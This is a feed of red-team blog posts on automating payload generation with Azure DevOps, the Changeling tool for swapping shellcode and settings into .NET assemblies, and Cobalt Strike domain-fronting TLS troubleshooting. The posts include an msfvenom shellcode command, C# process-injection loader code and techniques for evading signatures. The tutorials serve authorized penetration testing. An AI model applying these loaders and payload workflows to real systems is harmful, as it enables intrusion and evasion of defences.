        </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"calc"</span><span class="p">]</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"__type__"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AzureDownload"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"definition"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Demo-Morph"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"red-team-toolkit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"source_branch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"master"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"notepad"</span><span class="p">]</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p>This is fairly straightforward. The only modifications you might make are to the <code class="language-plaintext highlighter-rouge">source_branch</code> and <code class="language-plaintext highlighter-rouge">tags</code> fields to suit your own requirements. The <code class="language-plaintext highlighter-rouge">source_branch</code> field tells Bob which Git branches the builds should have occurred on, and the <code class="language-plaintext highlighter-rouge">tags</code> field tells Bob which Azure DevOps Build Tags to download (these are not Git tags). If you recall from earlier, we tagged our Demo-Morph builds with <code class="language-plaintext highlighter-rouge">calc</code> and <code class="language-plaintext highlighter-rouge">notepad</code> tags to distinguish between which application the build would inject into. We use those tags in teh blueprint above to download the appropriate versions. Upon running this with Bob, as expected, all of the listed tools are retrieved and ready for your next engagement.</p>

<figure class="">
  <img src="/assets/images/2020-04-04-automation-through-azure-devops-with-bob/bob-run-downloads.png" alt="" style="" />
  
    <figcaption>Bob Downloads Tools from Azure
</figcaption>
  
</figure>

<h2 id="integrating-bob">Integrating Bob</h2>

<p>The obvious way to integrate Bob into your workflow is to manually run it. If you want to be super cool and hip and trending with the cool kids though, you’ll be using Ansible. So, you can find an ansible role for Bob <a href="https://github.com/coffeegist/ansible-role-bob-the-builder">on my GitHub</a>!</p>

<h2 id="coffee-break">Coffee Break!</h2>

<p>We’re not all done here. There are still several steps to automate evasion techniques and reduce the blue team’s ability to signature payloads , but this is a good start. I’m encouraged to see all of the work done in automation for offensive tooling, and I can’t wait to see how it evolves. Hopefully, this post has given you new ideas around the idea of automation, and I look forward to hearing about them. So, please share those new ideas, and happy hacking!</p>

<h3 id="resources">Resources</h3>

<ul>
  <li>
    <p><a href="https://github.com/coffeegist/bob-the-builder">https://github.com/coffeegist/bob-the-builder</a></p>
  </li>
  <li>
    <p><a href="https://github.com/coffeegist/ansible-role-bob-the-builder">https://github.com/coffeegist/ansible-role-bob-the-builder</a></p>
  </li>
  <li>
    <p><a href="https://github.com/coffeegist/changeling">https://github.com/coffeegist/changeling</a></p>
  </li>
  <li>
    <p><a href="https://github.com/coffeegist/changeling-demo">https://github.com/coffeegist/changeling-demo</a></p>
  </li>
  <li>
    <p><a href="https://blog.xpnsec.com/building-modifying-packing-devops/">https://blog.xpnsec.com/building-modifying-packing-devops/</a></p>
  </li>
  <li>
    <p><a href="https://medium.com/@rvrsh3ll/getting-started-with-azuredevops-8bf0bf089bc3">https://medium.com/@rvrsh3ll/getting-started-with-azuredevops-8bf0bf089bc3</a></p>
  </li>
</ul>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="red-team" /><category term="pentest" /><category term="automation" /><summary type="html"><![CDATA[Several months ago, our team moved into the realm of automation through the use of Azure DevOps. I would say that evolution is a necessary cycle that occurs, and with evolution comes increased complexity. As offensive security professionals, this means that as defenses evolve, offense evolves to stay one step ahead, and as offense evolves, it has the potential to become more complex. If you didn’t get a chance to check out my last article, I highly encourage you to give it a quick read here. Today I’m going to share another tool I’ve created to assist in managing the complexity of generating payloads for offensive assessments. Everyone, say hello to Bob!]]></summary></entry><entry><title type="html">Changeling - A Feature Morphing Creature</title><link href="https://coffeegist.com/security/changeling-a-feature-morphing-creature/" rel="alternate" type="text/html" title="Changeling - A Feature Morphing Creature" /><published>2020-03-24T00:00:00+00:00</published><updated>2020-03-24T00:00:00+00:00</updated><id>https://coffeegist.com/security/changeling-a-feature-morphing-creature</id><content type="html" xml:base="https://coffeegist.com/security/changeling-a-feature-morphing-creature/"><![CDATA[<p>There has been a lot of good work over the past several months surrounding the idea of improving payload development and generation for pentests and red team assessments. This post will be the first post in a continuing series that aims to add new methods to your arsenal, allowing you to build more payloads with less effort on your own assessments. The feature that we’ll be taking a look at today is Embedded Resources in C# projects. This is a feature that will allow us to compile code once, and reuse it on multiple assessments (yes, with different shellcode AND configurations).</p>

<h2 id="the-problem">The Problem</h2>

<p>One of the most annoying things to me personally on an assessment is payload generation. Depending on the assessment, I can have anywhere between one and twenty teamservers that I am building payloads for. If I need to create 2 or 3 listeners per server, generate 32-bit and 64-bit shellcode for all listeners on all servers, roll over to a fresh Windows VM and use Visual Studio to build the potential 120 versions of the same payload, that has the potential to eat up a ton of my time. Obviously, as an operator, you’re going to choose to only build the payloads you think you need, but it would be nice to have everything possible at your disposal, just in case.</p>

<p>And then it becomes even worse if, for whatever reason, you need to make a modification to your payload. Now you have to rebuild everything all over again! It literally makes my eyes gloss over thinking of manually compiling the same thing with different shellcode over and over again. Convert shellcode, copy, paste, compile, move the binary, repeat. If you’ve ever had to re-roll payloads in the middle of a large operation, you know the feeling I’m talking about. I’m so glad that, as a community, we’ve finally started finding some answers to this seemingly trivial problem.</p>

<h2 id="a-better-way">A Better Way</h2>

<p>As I struggled with this problem, my team and I started to implement several solutions introduced to the community by people like Adam Chester (<a href="https://twitter.com/_xpn_">@<em>xpn</em></a>) and Steve Borosh (<a href="https://twitter.com/424f424f">@424f424f</a>), who opened my eyes to the world of Azure DevOps (thank you). While experimenting with using DevOps to design frameworks for generating payloads, I stumbled across a file property in Visual Studio titled <code class="language-plaintext highlighter-rouge">Build Action</code>. Reading more on build actions, one of the options presented was <code class="language-plaintext highlighter-rouge">Embedded Resource</code>. I don’t remember exactly what I was doing when I came across it, but it had reminded me of the ALPC privesc released by SandboxEscaper the year prior. In the privesc PoC released by SandboxEscaper (<a href="https://twitter.com/SandboxBear">@SandboxBear</a>), there was an embedded DLL that needed to be swapped out with a DLL of your own making. This was as simple as using a tool to swap the resources out. So I thought to myself, surely there’s a way to build a similar tool for .NET assemblies. Enter Changeling. Changeling is a scriptable .NET tool that can be used on Linux, Windows, or Mac OS to swap embedded resources into and out of .NET assemblies!</p>

<h2 id="resource-embedding">Resource Embedding</h2>

<p>In .NET projects, files can be added with specific build actions. One build action that you may be familiar with without even knowing it is the <code class="language-plaintext highlighter-rouge">Compile</code> action. A file’s build action can be seen by selecting the file in the Solution Explorer, and then viewing the build action in the Properties window. In this case, we are interested in the <code class="language-plaintext highlighter-rouge">Embedded Resource</code> build action. This is what Microsoft has to say about marking a file with this action:</p>

<blockquote>
  <p>The file is passed to the compiler as a resource to be embedded in the assembly. You can call System.Reflection.Assembly.GetManifestResourceStream to read the file from the assembly.</p>
</blockquote>

<p>Perfect. So, according to this we can mark a file to be embedded into the assembly, and then use the Assembly class to read the resource back out. This sounds ideal for modifying something like shellcode in a payload. There were a few projects out there that touched on embedded resources, but none that I found people using in the offensive space. So, I decided to create Changeling, and here’s how you can use it with your own payloads.</p>

<h2 id="a-sample-c-project">A Sample C# Project</h2>

<p>For this walkthrough, we will create a simple shellcode executor that pops calc on a 64-bit Windows machine. For the C# portion, we’ll be using the Process Injection (T1055) technique created by <a href="https://twitter.com/pwndizzle">@pwndizzle</a> that can be found <a href="https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/thread-hijack.cs">here</a>.</p>

<p>To start off, we’ll create a new C# <code class="language-plaintext highlighter-rouge">Console App (.NET Framework)</code> project in Visual Studio with the above file as our source, and we’ll call the project <code class="language-plaintext highlighter-rouge">ShellcodeLoader</code>.  We will also need shellcode to inject. We can get this from metasploit with:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+[root@coffee-kali: changeling]$ msfvenom --payload windows/x64/exec CMD=calc.exe -a x64 --platform windows -f raw -o calc.bin
No encoder or badchars specified, outputting raw payload
Payload size: 276 bytes
Saved as: calc.bin
</code></pre></div></div>

<p>Now that we have our shellcode, we include it in our project as an embedded resource by selecting <code class="language-plaintext highlighter-rouge">Project -&gt; Existing Item</code> from the Visual Studio menu, and selecting our freshly created <code class="language-plaintext highlighter-rouge">calc.bin</code>. Now, we’ll make sure we have the Solutions Explorer (<code class="language-plaintext highlighter-rouge">View -&gt; Solutions Explorer</code>) and the Properties Window (<code class="language-plaintext highlighter-rouge">View -&gt; Properties Window</code>) open in Visual Studio. When we select <code class="language-plaintext highlighter-rouge">calc.bin</code> in the solutions explorer, we are shown several properties of the file in the properties window. We’ll set the Build Action property to Embedded Resource, as described earlier.</p>

<figure class="">
  <img src="/assets/images/2020-03-24-changeling-a-feature-morphing-creature/calc-bin-properties.png" alt="" style="
      width:30%;
      margin-left:  35%
    " />
  
</figure>

<p>Now, we need code to read our embedded resource out. To do this, we simply replace the following line in pwndizzle’s code:</p>

<p><em><strong>original</strong></em></p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">byte</span><span class="p">[]</span> <span class="n">payload</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">112</span><span class="p">]</span> <span class="p">{</span>
    <span class="m">0x50</span><span class="p">,</span><span class="m">0x51</span><span class="p">,</span><span class="m">0x52</span><span class="p">,</span><span class="m">0x53</span><span class="p">,...</span>
<span class="p">};</span>
</code></pre></div></div>

<p><em><strong>changeling-ready</strong></em></p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>

<span class="cm">/* &lt;snip&gt; */</span>

<span class="kt">byte</span><span class="p">[]</span> <span class="n">payload</span><span class="p">;</span>
<span class="kt">string</span> <span class="n">resourceName</span> <span class="p">=</span> <span class="s">"calc.bin"</span><span class="p">;</span>

<span class="kt">var</span> <span class="n">assembly</span> <span class="p">=</span> <span class="n">System</span><span class="p">.</span><span class="n">Reflection</span><span class="p">.</span><span class="n">Assembly</span><span class="p">.</span><span class="nf">GetExecutingAssembly</span><span class="p">();</span>
<span class="n">resourceName</span> <span class="p">=</span> <span class="n">assembly</span><span class="p">.</span><span class="nf">GetManifestResourceNames</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">Single</span><span class="p">(</span><span class="n">str</span> <span class="p">=&gt;</span> <span class="n">str</span><span class="p">.</span><span class="nf">EndsWith</span><span class="p">(</span><span class="n">resourceName</span><span class="p">));</span>

<span class="k">using</span> <span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">Stream</span> <span class="n">stream</span> <span class="p">=</span> <span class="n">assembly</span><span class="p">.</span><span class="nf">GetManifestResourceStream</span><span class="p">(</span><span class="n">resourceName</span><span class="p">))</span>
<span class="p">{</span>
    <span class="k">using</span> <span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">BinaryReader</span> <span class="n">reader</span> <span class="p">=</span> <span class="k">new</span> <span class="n">System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="nf">BinaryReader</span><span class="p">(</span><span class="n">stream</span><span class="p">))</span>
    <span class="p">{</span>
        <span class="n">payload</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadBytes</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">stream</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, you may be asking, “What’s with that lambda function that resets my <code class="language-plaintext highlighter-rouge">resourceName</code> variable to some new value?”. Great question, I’m glad you asked. When you create an embedded resource, such as <code class="language-plaintext highlighter-rouge">calc.bin</code>, it is actually stored as <code class="language-plaintext highlighter-rouge">&lt;RootNamespace.ResourceName&gt;</code>. In this case, that would be <code class="language-plaintext highlighter-rouge">ShellcodeLoader.calc.bin</code>. To make the code a little more reusable, this is the solution I’ve opted for.</p>

<p>Now, instead of having our shellcode converted to readable text and hardcoded, our project will simply read it from the raw resource we have embedded in it. This project is officially ready to be used with Changeling!</p>

<h2 id="morphing-features-with-creatures">Morphing Features with Creatures</h2>

<p>Now that we have our newly generated <code class="language-plaintext highlighter-rouge">ShellcodeLoader.exe</code>, let’s see what Changeling can do.</p>

<figure class="">
  <img src="/assets/images/2020-03-24-changeling-a-feature-morphing-creature/changeling-help-menu.png" alt="" style="" />
  
</figure>

<p>Changeling currently exists with three methods, <code class="language-plaintext highlighter-rouge">extract</code>, <code class="language-plaintext highlighter-rouge">list</code>, and <code class="language-plaintext highlighter-rouge">replace</code>, and these methods are pretty self-explanatory. They can be used to extract, list, and replace any embedded resource in the assembly you pass to Changeling. The implications of this are that you no longer have to recompile tools that use shellcode for each individual assessment. You can simply take the payload from a static place, use Changeling to swap out the embedded resource, and you’re good to go!</p>

<h2 id="but-what-about-other-tool-settings">But What About Other Tool Settings?</h2>

<p>Some of you are thinking, “That’s great, but I have other settings that change from engagement to engagement.” I would argue the same point. Sometimes, you want to build a payload with a certain set of “arguments”. Maybe it’s a persistence tool that writes to a registry key chosen per assessment. Or maybe you are using WMI event subscriptions for lateral movement on an engagement, and you want to keep the event names different between sets of infrastructure. You can use Changeling to solve this issue as well!</p>

<p>I like to use JSON, but XML would probably work as well. Here’s how you can store JSON as a serializable Embedded Resource, and pull it back out during execution.</p>

<p>To start out, let’s add a new JSON file to our project, and mark it’s build action as <code class="language-plaintext highlighter-rouge">Embedded Resource</code>.</p>

<p><em><strong>projectConfiguration.json</strong></em></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"TARGET_PROCESS"</span><span class="p">:</span><span class="w">  </span><span class="s2">"notepad"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Fairly simple. This will be the default argument to our tool. Next, we’ll make sure the project is targeting .NET Framework 4.0+, and then add the <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization</code> reference so that we can deserialize our embedded JSON blob. We’ll also need some code to use that reference.</p>

<p><em><strong>ProjectConfiguration.cs</strong></em></p>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Reflection</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.Serialization</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Runtime.Serialization.Json</span><span class="p">;</span>

<span class="p">[</span><span class="n">DataContract</span><span class="p">]</span>
<span class="k">class</span> <span class="nc">ProjectConfiguration</span>
<span class="p">{</span>
    <span class="p">[</span><span class="n">DataMember</span><span class="p">]</span>
    <span class="k">public</span> <span class="kt">string</span> <span class="n">TARGET_PROCESS</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="k">set</span><span class="p">;</span> <span class="p">}</span>

    <span class="k">public</span> <span class="k">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="nf">GetEmbeddedResource</span><span class="p">(</span><span class="kt">string</span> <span class="n">resourceName</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="kt">byte</span><span class="p">[]</span> <span class="n">result</span><span class="p">;</span>

        <span class="kt">var</span> <span class="n">assembly</span> <span class="p">=</span> <span class="n">Assembly</span><span class="p">.</span><span class="nf">GetExecutingAssembly</span><span class="p">();</span>
        <span class="n">resourceName</span> <span class="p">=</span> <span class="n">assembly</span><span class="p">.</span><span class="nf">GetManifestResourceNames</span><span class="p">()</span>
            <span class="p">.</span><span class="nf">Single</span><span class="p">(</span><span class="n">str</span> <span class="p">=&gt;</span> <span class="n">str</span><span class="p">.</span><span class="nf">EndsWith</span><span class="p">(</span><span class="n">resourceName</span><span class="p">));</span>

        <span class="k">using</span> <span class="p">(</span><span class="n">Stream</span> <span class="n">stream</span> <span class="p">=</span> <span class="n">assembly</span><span class="p">.</span><span class="nf">GetManifestResourceStream</span><span class="p">(</span><span class="n">resourceName</span><span class="p">))</span>
        <span class="p">{</span>
            <span class="k">using</span> <span class="p">(</span><span class="n">BinaryReader</span> <span class="n">reader</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BinaryReader</span><span class="p">(</span><span class="n">stream</span><span class="p">))</span>
            <span class="p">{</span>
                <span class="n">result</span> <span class="p">=</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadBytes</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">stream</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">static</span> <span class="n">ProjectConfiguration</span> <span class="nf">GetEmbeddedSettings</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="kt">byte</span><span class="p">[]</span> <span class="n">embeddedBytes</span> <span class="p">=</span> <span class="nf">GetEmbeddedResource</span><span class="p">(</span><span class="s">"projectConfiguration.json"</span><span class="p">);</span>
        <span class="n">embeddedBytes</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="nf">GetString</span><span class="p">(</span><span class="n">embeddedBytes</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">embeddedBytes</span><span class="p">.</span><span class="n">Length</span><span class="p">));</span>

        <span class="n">ProjectConfiguration</span> <span class="n">deserializedSettings</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ProjectConfiguration</span><span class="p">();</span>
        <span class="kt">var</span> <span class="n">ms</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">(</span><span class="n">embeddedBytes</span><span class="p">);</span>
        <span class="kt">var</span> <span class="n">ser</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">DataContractJsonSerializer</span><span class="p">(</span><span class="n">deserializedSettings</span><span class="p">.</span><span class="nf">GetType</span><span class="p">());</span>
        <span class="n">deserializedSettings</span> <span class="p">=</span> <span class="n">ser</span><span class="p">.</span><span class="nf">ReadObject</span><span class="p">(</span><span class="n">ms</span><span class="p">)</span> <span class="k">as</span> <span class="n">ProjectConfiguration</span><span class="p">;</span>
        <span class="n">ms</span><span class="p">.</span><span class="nf">Close</span><span class="p">();</span>

        <span class="k">return</span> <span class="n">deserializedSettings</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Through the use of the <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization</code> reference, we can create a <code class="language-plaintext highlighter-rouge">DataContract</code> that is used to read in our JSON object from the resource it is stored as. Obviously, this is just an example that can be extended and used in ways I probably can’t come up with, but I’m sure you can :)</p>

<p>Now, with just a small tweak, our main file can use this JSON configuration to determine what process to inject into!</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Original way</span>
<span class="c1">// if (args.Length == 0) { Console.WriteLine("Please enter a process name"); System.Environment.Exit(1); }</span>
<span class="c1">// Process targetProcess = Process.GetProcessesByName(args[0])[0];</span>

<span class="c1">// With Changeling</span>
<span class="n">ProjectConfiguration</span> <span class="n">projectConfiguration</span> <span class="p">=</span> <span class="n">ProjectConfiguration</span><span class="p">.</span><span class="nf">GetEmbeddedSettings</span><span class="p">();</span>
<span class="n">Process</span> <span class="n">targetProcess</span> <span class="p">=</span> <span class="n">Process</span><span class="p">.</span><span class="nf">GetProcessesByName</span><span class="p">(</span><span class="n">projectConfiguration</span><span class="p">.</span><span class="n">TARGET_PROCESS</span><span class="p">)[</span><span class="m">0</span><span class="p">];</span>
</code></pre></div></div>

<p>Now, when we compile this tool, we’ll have a tool that loads our <code class="language-plaintext highlighter-rouge">calc.bin</code> file into the <code class="language-plaintext highlighter-rouge">notepad</code> process. If we ever want to change it, it’s as easy as doing the following with changeling:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜  coffeegist <span class="nb">ls</span> <span class="nt">-l</span>
total 584
<span class="nt">-rw-r--r--</span>  1 coffeegist  staff  286208 Mar 23 21:51 Changeling.exe
<span class="nt">-rw-r--r--</span>  1 coffeegist  staff   12288 Mar 23 21:48 ShellcodeLoader.exe

➜  coffeegist mono Changeling.exe list <span class="nt">-a</span> ShellcodeLoader.exe

Resource Name
<span class="nt">-------------</span>
ShellcodeLoader.calc.bin
ShellcodeLoader.projectConfiguration.json

➜  coffeegist mono Changeling.exe extract <span class="nt">-a</span> ShellcodeLoader.exe <span class="nt">-r</span> projectConfiguration.json

➜  coffeegist <span class="nb">cat </span>ShellcodeLoader.projectConfiguration.json.template
<span class="o">{</span>
  <span class="s2">"TARGET_PROCESS"</span>:  <span class="s2">"notepad"</span>
<span class="o">}</span>%                                                                                                                                                                                                                          
➜  coffeegist vim ShellcodeLoader.projectConfiguration.json.template

➜  coffeegist <span class="nb">cat </span>ShellcodeLoader.projectConfiguration.json.template
<span class="o">{</span>
  <span class="s2">"TARGET_PROCESS"</span>:  <span class="s2">"explorer"</span>
<span class="o">}</span>

➜  coffeegist mono Changeling.exe replace <span class="nt">-a</span> ShellcodeLoader.exe <span class="nt">-r</span> projectConfiguration.json <span class="nt">-f</span> ShellcodeLoader.projectConfiguration.json.template <span class="nt">-o</span> NewShellcodeLoader.exe

➜  coffeegist <span class="nb">ls</span> <span class="nt">-l</span>
total 616
<span class="nt">-rw-r--r--</span>  1 coffeegist  staff  286208 Mar 23 21:51 Changeling.exe
<span class="nt">-rw-r--r--</span>  1 coffeegist  staff   11776 Mar 23 21:53 NewShellcodeLoader.exe
<span class="nt">-rw-r--r--</span>  1 coffeegist  staff   12288 Mar 23 21:48 ShellcodeLoader.exe
<span class="nt">-rw-r--r--</span>  1 coffeegist  staff      39 Mar 23 21:53 ShellcodeLoader.projectConfiguration.json.template
</code></pre></div></div>

<h4 id="bonus-1">BONUS #1</h4>

<p>In case you haven’t noticed yet, through the use of Mono, this tool can be run CROSS PLATFORM! No need to hop boxes just to do tool management anymore. You can use Changeling directly from your op box!</p>

<h2 id="coffee-break">Coffee Break!</h2>

<p>And that just about wraps it up. Changeling was a simple project, but one that has added a drastic increase in productivity on engagements. We can now spend less time spinning up Visual Studio instance just to compile and recompile, and more time doing the fun stuff, like sipping on some Ethiopian coffee straight out of my Moccamaster :D</p>

<p>Keep an eye out for part 2, where we will explore combining Changeling with some other automation tools to get the most bang for our buck. Until then, happy hacking!</p>

<h4 id="bonus-2">Bonus #2</h4>

<p>If you’re interested in more automation of Changeling with Cobalt Strike, I’ll soon be adding a script to generate multiple copies of your payloads even faster. Be sure to follow along to be one of the first to see it.</p>

<h3 id="resources">Resources</h3>

<ul>
  <li>
    <p><a href="https://github.com/coffeegist/changeling">https://github.com/coffeegist/changeling</a></p>
  </li>
  <li>
    <p><a href="https://github.com/coffeegist/changeling-demo">https://github.com/coffeegist/changeling-demo</a></p>
  </li>
  <li>
    <p><a href="https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/thread-hijack.cs">https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/thread-hijack.cs</a></p>
  </li>
</ul>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="red-team" /><category term="pentest" /><category term="automation" /><summary type="html"><![CDATA[There has been a lot of good work over the past several months surrounding the idea of improving payload development and generation for pentests and red team assessments. This post will be the first post in a continuing series that aims to add new methods to your arsenal, allowing you to build more payloads with less effort on your own assessments. The feature that we’ll be taking a look at today is Embedded Resources in C# projects. This is a feature that will allow us to compile code once, and reuse it on multiple assessments (yes, with different shellcode AND configurations).]]></summary></entry><entry><title type="html">Domain Fronting, Beacons, and TLS!</title><link href="https://coffeegist.com/security/domain-fronting-beacons-and-tls/" rel="alternate" type="text/html" title="Domain Fronting, Beacons, and TLS!" /><published>2019-02-07T00:00:00+00:00</published><updated>2019-02-07T00:00:00+00:00</updated><id>https://coffeegist.com/security/domain-fronting-beacons-and-tls</id><content type="html" xml:base="https://coffeegist.com/security/domain-fronting-beacons-and-tls/"><![CDATA[<p>These posts have been too few and far in-between lately. But today I came across something that may save some poor red teamer a little bit of troubleshooting time. With my wife recently taking a trip out of town, I decided I had a few minutes this evening to write it up. What exciting times we live in.</p>

<h2 id="setting-up">Setting Up</h2>

<p>During some recent research, I found myself going through the process of setting up teamservers for domain fronting. If you don’t know what domain fronting is, please go check out Raffi’s blog post here: <a href="https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/">https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/</a>.</p>

<p>Once I got everything set up with a CDN, the first step is obviously to test and make sure traffic flow is happening as expected. So, I whip out <code class="language-plaintext highlighter-rouge">curl</code> and start making requests to the reputable domain, with our CDN address in the host header. CobaltStrike is seeing the traffic hit the web logs, and I’m thinking I’m almost finished.</p>

<h2 id="road-blocks">Road Blocks</h2>

<p>I move over to a Windows box to fire up a test beacon, the stager launches, and nothing. I wait a few minutes, and still get nothing. I regenerate a beacon, and try again. It’s still not working. Time to fire up Wireshark.</p>

<p>I see the download cradle successfully launches and pulls down the stager. The stager fires, does a DNS query for the fronted domain, and initiates a connection with a CDN caching server. Then the packets start to look interesting.</p>

<h2 id="tls-to-the-failure">TLS to the Failure!</h2>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/wireshark-failed-handshakes.png" alt="" style="" />
  
</figure>

<p>Three failed TLS/SSL handshakes, and then it’s over. But why are the handshakes failing? Let’s look a little closer.</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/wireshark-failure-forty.png" alt="" style="" />
  
</figure>

<p>So, from this we can see that we’re getting a handshake failure (represented by 0x28 or a decimal value of 40). I surfed around trying to find a definitive answer to what this meant. Someone suggested it was a Cipher Mismatch. Let’s investigate that.</p>

<h3 id="cipher-suites">Cipher Suites</h3>

<p>We can see the list of cipher suites offered in the <code class="language-plaintext highlighter-rouge">Client Hello</code> message from beacon in the image below. Things to note are the TLS version being used (TLSv1.0), and the list of 12 cipher suites.</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/supported-ciphers-beacon.png" alt="" style="" />
  
</figure>

<h4 id="tlsv12">TLSv1.2</h4>

<p>For domain 1, we’ll check to see if the allowed cipher suites line up with the above cipher suites. To do this, let’s use <a href="https://www.ssllabs.com/ssltest/">SSL Labs</a> to check and see what versions of TLS and Cipher Suites are accepted.</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/supported-ciphers-domain1.png" alt="" style="" />
  
</figure>

<p>We see here that only TLSv1.2 is accepted, and none of the cipher suites match. So, it makes sense that the handshake would fail. Beacon goes on to offer the same TLS protocol and cipher suites again, and then offers SSLv3, which we know won’t do the trick. Let’s find a domain accepting TLSv1.1.</p>

<h4 id="tlsv11">TLSv1.1</h4>

<p>Again using SSL Labs, we check domain 2 to see if we can find some cipher suite overlap.</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/supported-ciphers-domain2.png" alt="" style="" />
  
</figure>

<p>Here we see some overlap on ciphers! Beacon offers <code class="language-plaintext highlighter-rouge">TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA</code>, (or <code class="language-plaintext highlighter-rouge">0xc013</code>), and we see that <code class="language-plaintext highlighter-rouge">0xc013</code> is listed in the accepted cipher suites for our target domain. So, I assumed beacon might work with this setup. However, upon testing we get the same results: three failed handshakes.</p>

<h3 id="tls-protocol-version">TLS Protocol Version</h3>

<p>The last thing I knew to try was to find a frontable domain that accepts TLSv1.0. Below is the SSL Labs report, for completeness :)</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/supported-ciphers-domain3.png" alt="" style="" />
  
</figure>

<p>Here we see that TLSv1.0 is supported, and there is plenty of overlap on cipher suites. I fire up a beacon, and see that the TLS handshake works like a charm.</p>

<h3 id="but-why-is-it-beacon">But Why? Is it Beacon?</h3>

<p>UPDATE: I was correctly informed that this is not a limitation of beacon, but rather a limitation of the underlying host. While Cobalt Strike’s teamserver only supports up to TLSv1.0 (which isn’t a big deal when using redirectors with domain fronting), beacon in no way controls the TLS version offered like I originally suspected, but rather uses whatever means available to it by the underlying operating system. So, yes, I’m saying that my Windows 7 test box did not allow &gt;=TLSv1.1.</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/no-tls-for-you.png" alt="" style="" />
  
</figure>

<h3 id="testing-this-programmatically">Testing This Programmatically</h3>

<p>Once I realized I had completely goofed, I wanted a way to programmatically check this for future reference. I also wanted the ability to make sure that I never try and stage a production payload over a fronted domain unless I know the protocols will match. So, I wanted to see what registry keys were affected when changing the options seen above in the Internet Properties dialog. Firing up <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">procmon</a>, I see the following.</p>

<figure class="">
  <img src="/assets/images/2019-02-07-domain-fronting-beacons-and-tls/procmon-secureprotocols.png" alt="" style="" />
  
</figure>

